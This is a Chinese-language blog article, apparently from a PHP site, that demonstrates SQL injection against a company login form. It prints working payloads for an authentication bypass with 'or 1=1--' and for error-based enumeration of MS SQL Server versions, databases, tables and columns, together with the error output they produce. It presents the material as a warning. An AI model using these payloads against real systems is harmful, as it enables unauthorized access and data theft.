公司網站登陸框如下:
##可以看到除了帳號密碼之外,還有一個公司名的輸入框,根據輸入框的形式不難推出SQL的寫法如下:SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'我發現前兩者都做一些檢查,而第三個輸入框卻疏忽了,漏洞就在這裡!注入開始,在輸入框中輸入以下內容: 用戶名亂填,密碼留空,這種情況下點擊登入
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'從程式碼可以看出,前一半單引號被閉合,後一半單引號被「--」給
註解掉,中間多了一個永遠成立的條件“1=1”,這就造成任何字元都能成功登入的結果。而Sql注入的危害卻不只是匿名登入。
中級注入--借助異常獲取資訊。 現在我們在第三個輸入框中寫入:「‘ or 1=(SELECT @@version) –」。如下: 後台的SQL變成了這樣:SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'判斷條件變成了1=(SELECT @@VERSION),這個寫法一定會導致錯誤,但出錯正是我們想要的。點選登入後,頁面出現以下資訊:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.可怕的事情出現了,伺服器的作業系統和SQL Server版本資訊竟然透過錯誤顯示出來。 危害擴大--取得伺服器所有的庫名、表名、欄位名稱接著,我們在輸入框中輸入以下資訊:「t' or 1=(SELECT 點擊登錄,傳回的資訊如下:
Conversion failed when converting the nvarchar value 'master' to data type int.資料庫名稱「master」透過異常被顯示出來!依序改變上面SQL語句中的序號,就能得到伺服器上所有資料庫的名稱。 接著,輸入資訊如下:"b' 或 1=(SELECT top 1 name FROM master..sys
objects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--”
得到回傳資訊如下:Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.我們得到了master資料庫中的第一張表名:"spt_fallback_db ”,同上,依序改變序號,可得到該庫全部表名。 現在我們以「spt_fallback_db」表為例,嘗試取得該表中所有的欄位名稱。在輸入框中輸入以下程式碼:「b' 或 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master ..sysobjects.name='spt_fallback_db');」於是,得到錯誤提示如下:
"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";這樣第一個欄位名稱「xserver_name」就出來了,依序改變序號,就能遍歷出所有的字段名。 最終目的--取得資料庫中的資料寫到這裡,我們已知透過SQL注入能取得全部的資料庫,表,及其字段,為了防止本文完全淪為注入教程,取得資料的程式碼就不再描述,而這篇文章的目的也已達到,SQL注入代表什麼?
意味著資料庫中所有資料都能被盜取。
當知道這個危害以後,是否還能有人對SQL注入漏洞置之不理? 結語關於安全性,本文可總結出幾點:【相關推薦】
1. 特別推薦:「php程式設計師工具箱」V0.1版下載
#以上是分享一個SQL注入的實例過程的詳細內容。更多資訊請關注PHP中文網其他相關文章!